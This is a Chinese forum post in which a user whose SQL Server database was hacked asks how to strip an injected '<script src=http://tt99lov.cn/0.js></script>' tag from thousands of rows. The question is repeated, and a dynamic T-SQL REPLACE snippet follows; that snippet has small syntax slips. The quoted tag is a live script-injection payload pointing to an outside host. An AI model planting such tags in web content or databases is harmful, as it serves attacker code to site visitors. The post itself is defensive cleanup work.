各位大侠好:
我有一个数据库被别人黑了,里面的字符串类型的数据都在原数据中加入了“<script src=http://tt99lov.cn/0.js></script>”这样的脚本文字,我的数据有上万条,手工删除是不可能的,
小弟急切恳请高手来助小弟一臂之力!
假设数据表结构如下:
表名:News
字段: 数据类型
nID: int
title: varchar(300)
content: text其中字段title 和 content都已被修改过,请大侠写个sql语句把里面的““<script src=http://tt99lov.cn/0.js></script>”文字去掉,谢了啊!
我有一个数据库被别人黑了,里面的字符串类型的数据都在原数据中加入了“<script src=http://tt99lov.cn/0.js></script>”这样的脚本文字,我的数据有上万条,手工删除是不可能的,
小弟急切恳请高手来助小弟一臂之力!
假设数据表结构如下:
表名:News
字段: 数据类型
nID: int
title: varchar(300)
content: text其中字段title 和 content都已被修改过,请大侠写个sql语句把里面的““<script src=http://tt99lov.cn/0.js></script>”文字去掉,谢了啊!
set @tbname = '表名字'
declare @sql varchar(max)
set @sql='update '+@tbname+' set '
select @sql=@sql+name+'=replace(cast('+name+' as varchar(max)),''<script src=http://tt99lov.cn/0.js></script>'',''''),'
from syscolumns where id=object_id(@tbname)
and xtype in (35,99,167,175,231,239)
set @sql=left(@sql,len(@sql)-1)+' from '+@tbnameexec(@sql)
大侠赐教!
还有别的办法没,大侠赐教!